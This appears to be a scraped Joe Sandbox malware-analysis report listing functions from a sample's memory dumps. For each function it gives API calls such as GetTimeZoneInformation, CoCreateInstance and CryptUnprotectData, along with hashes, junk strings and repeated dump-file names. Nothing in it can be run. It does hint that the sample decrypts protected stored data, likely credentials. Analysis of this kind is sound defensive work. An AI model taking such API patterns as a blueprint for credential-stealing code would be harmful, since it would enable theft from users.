Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 8dee41da7cf4994a9bbabc158567c707fa2292251216b2a45328953576cd379b
Instruction ID: 728e71a7eff5daf3df34757add4b6cf05926d3ea83e8e5d374b1556dc544b101
Opcode Fuzzy Hash: 8dee41da7cf4994a9bbabc158567c707fa2292251216b2a45328953576cd379b
Instruction Fuzzy Hash: D11115B2904218EACB149FC9DD45BBEB7F8EB48B11F10425AF605A2290E6395940CBB1

Function 00B87A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0093DB90,00000000,?,00B90E10,00000000,?,00000000,00000000), ref: 00B87A63
RtlAllocateHeap.NTDLL(00000000), ref: 00B87A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0093DB90,00000000,?,00B90E10,00000000,?,00000000,00000000,?), ref: 00B87A7D
wsprintfA.USER32 ref: 00B87AB7

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d8386349bfe905f898a7b790fc00351fc740c98cd8c46741e24b2f741b4c475e
Instruction ID: 53e5edd5ed7f931a844149596d46ae9895f400850650be71083904cd1becc389
Opcode Fuzzy Hash: d8386349bfe905f898a7b790fc00351fc740c98cd8c46741e24b2f741b4c475e
Instruction Fuzzy Hash: A91182B1945218EBDB149B58DC45F69B7B8FB04711F1043D6E51A932D0D7745E40CF51

Function 00F353ED Relevance: 5.3, Strings: 3, Instructions: 1584COMMON

Download Yara Rule

Strings

|o[, xrefs: 00F36519
z>k, xrefs: 00F3565D
U=/!, xrefs: 00F3619F

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: |o[$U=/!$z>k
API String ID: 0-1134408890
Opcode ID: 808a85fd5ff8e27d2e441a32064143699c068a5843166a473c4f1b033c65a407
Instruction ID: 6bfaaceee9b1542c8afeac7f658d4736c983393180c0b4f74e87d50ff7441e5a
Opcode Fuzzy Hash: 808a85fd5ff8e27d2e441a32064143699c068a5843166a473c4f1b033c65a407
Instruction Fuzzy Hash: 9BB2F5F390C2049FE304AE2DEC8577ABBE5EF94720F1A493DEAC483744EA3558158697

Function 00B83720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00B8E118,00000000,00000001,00B8E108,00000000), ref: 00B83758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00B837B0

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: d396ba7f976e0cce98977827bc0e7ed8f1ae44e38c9527b261f013530238a855
Instruction ID: c91ede6a941e83257807ec2e5d0e75dfc9b22cde2513db24aec32a8b673ef6eb
Opcode Fuzzy Hash: d396ba7f976e0cce98977827bc0e7ed8f1ae44e38c9527b261f013530238a855
Instruction Fuzzy Hash: 0841EA70A40A289FDB24DB58CC95B9BB7B5BB48702F4041D8E618E72E0D771AE85CF50

Function 00B79B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B79B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00B79BA3
LocalFree.KERNEL32(?), ref: 00B79BD3

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 994ff98c1fbf3761ef8da4fae0c8cadf8b1b9024571e69e2d9485089aaee07c5
Instruction ID: bc1eb2edd6fdc3f81e54d0da289d2d294a477312fdfa78710c6e909bdb5c8b6a
Opcode Fuzzy Hash: 994ff98c1fbf3761ef8da4fae0c8cadf8b1b9024571e69e2d9485089aaee07c5
Instruction Fuzzy Hash: A711BAB8A00209EFDB04DF98D985AAE77F5FF89300F108598E91597390D774AE10CF61

Function 00F30212 Relevance: 4.1, Strings: 2, Instructions: 1552COMMON

Download Yara Rule

Strings

x$, xrefs: 00F3110A
e}, xrefs: 00F314E3

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: e}$x$
API String ID: 0-3067363150
Opcode ID: 659ace4e1e4f3074fa9a5412fa2ec0c64cd1bce1769e04aba0a9b6b612bde9a6
Instruction ID: 6ccb5f0c0f849a2a88cac81e9f3d886f9f546198a76c09afa4aaeb195e9ccc75
Opcode Fuzzy Hash: 659ace4e1e4f3074fa9a5412fa2ec0c64cd1bce1769e04aba0a9b6b612bde9a6
Instruction Fuzzy Hash: 6BB204F39082049FE304AF2DEC8566ABBE5EB94720F1A493DEAC5D3744EA3558058787

Function 00F3F4DA Relevance: 4.1, Strings: 2, Instructions: 1552COMMON

Download Yara Rule

Strings

vBF, xrefs: 00F40220
"<}, xrefs: 00F40339

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: vBF$"<}
API String ID: 0-2469788779
Opcode ID: b41bd8c9cbfa4a865ce1b9e572323df7e8900cf8d5d32c025bbc80f3806591b8
Instruction ID: 32ad2075b023b8a666f973b57d3ca30ad7b880180ca263f0719cab2d1bb5ce89
Opcode Fuzzy Hash: b41bd8c9cbfa4a865ce1b9e572323df7e8900cf8d5d32c025bbc80f3806591b8
Instruction Fuzzy Hash: 2EB2E3F390C200AFE314AE29EC8567ABBE5EF94720F16893DEAC4C7344E63558158797

Function 00F4457A Relevance: 2.9, Strings: 1, Instructions: 1637COMMON

Download Yara Rule

Strings

*{, xrefs: 00F44931

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *{
API String ID: 0-308834529
Opcode ID: 247080b3fff9f22f93ac6251cf3c5d95edfc1022ebffe9d6e448eb5b843a2017
Instruction ID: fce724691046927cf599252396c83dc8046b3f61b33f0c862bbd6c01a9e5ebf0
Opcode Fuzzy Hash: 247080b3fff9f22f93ac6251cf3c5d95edfc1022ebffe9d6e448eb5b843a2017
Instruction Fuzzy Hash: B9B249F3A0C6049FE3046E2DEC8577ABBE9EF94720F164A3DEAC4C3744E93558058696

Function 00EAD028 Relevance: 2.7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

JFkB, xrefs: 00EAD200
!Y2_, xrefs: 00EAD1A8

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Y2_$JFkB
API String ID: 0-1374303941
Opcode ID: fcbc4810f48796017bd0dc1d041e356535b379086b779d9b1a71a46c098d9d9c
Instruction ID: b80f28edca11bfd0a1aa929ed97bf72ec54789d500b2a9ec6d099105fcf6bce9
Opcode Fuzzy Hash: fcbc4810f48796017bd0dc1d041e356535b379086b779d9b1a71a46c098d9d9c
Instruction Fuzzy Hash: C15157B3E042189BE3109D2ADC8476AB697EBD4721F2BC63CDDC857B48ED795C058282

Function 00E689C3 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

iIg, xrefs: 00E68B3A

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: iIg
API String ID: 0-2654269806
Opcode ID: 340717925fce2f10418f7e9807f5e358a42a62a9436565eaaef6a533d4a0455c
Instruction ID: c46f260c4313990dcab450624291f8ad35487949454a8ba54f998f28c14a9581
Opcode Fuzzy Hash: 340717925fce2f10418f7e9807f5e358a42a62a9436565eaaef6a533d4a0455c
Instruction Fuzzy Hash: AB412AF3A182149BE3109E3EDC85767BBD6DBC4330F2B463DD988D7B84D53999068292

Function 00DDFF05 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

2O|, xrefs: 00DDFF76

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2O|
API String ID: 0-1779813692
Opcode ID: c2ca7ab94b7ca8c63032a9e6c8cc7a3783245fad8a27454cb31985543e2ae72e
Instruction ID: 25df46dfa144a44589700fe0c6fa855d51012908b3a42f6c10964e008c7f1089
Opcode Fuzzy Hash: c2ca7ab94b7ca8c63032a9e6c8cc7a3783245fad8a27454cb31985543e2ae72e
Instruction Fuzzy Hash: 794177F3A19208ABF3085939EC45777B7CAD7D4320F2A423EEA59D7384EC759C064194

Function 00F4A701 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

5P, xrefs: 00F4A82E

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5P
API String ID: 0-607277257
Opcode ID: 5e81c5862f313f1d7d83b9bbc9df777cdede8fb4ad44bec4aa36e3e451e42c57
Instruction ID: 8bd782e5a934702efb2b9ac03531e2a383ada8cdc4fae58fd262fa788ff4e76a
Opcode Fuzzy Hash: 5e81c5862f313f1d7d83b9bbc9df777cdede8fb4ad44bec4aa36e3e451e42c57
Instruction Fuzzy Hash: DE41F2B358C700DFE3046E29D88077AFFE4EB94710F26493DDAC246704E6351881A687

Function 00E2FFAD Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

"/, xrefs: 00E30076

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "/
API String ID: 0-2465596502
Opcode ID: 32bce0da29250b1edf5853fde0fca586422bc575ef39ef93c39ea761e4f0f1fd
Instruction ID: 03df2a5ea82d363cc21b7466d4859217a93656b5b7f36cb0f684c8943aec7112
Opcode Fuzzy Hash: 32bce0da29250b1edf5853fde0fca586422bc575ef39ef93c39ea761e4f0f1fd
Instruction Fuzzy Hash: 01316DF3A082049FE304BA39EC8537BF7D5EBE4210F1A463DDA95C3784F97958068246

Function 00E7ABB5 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
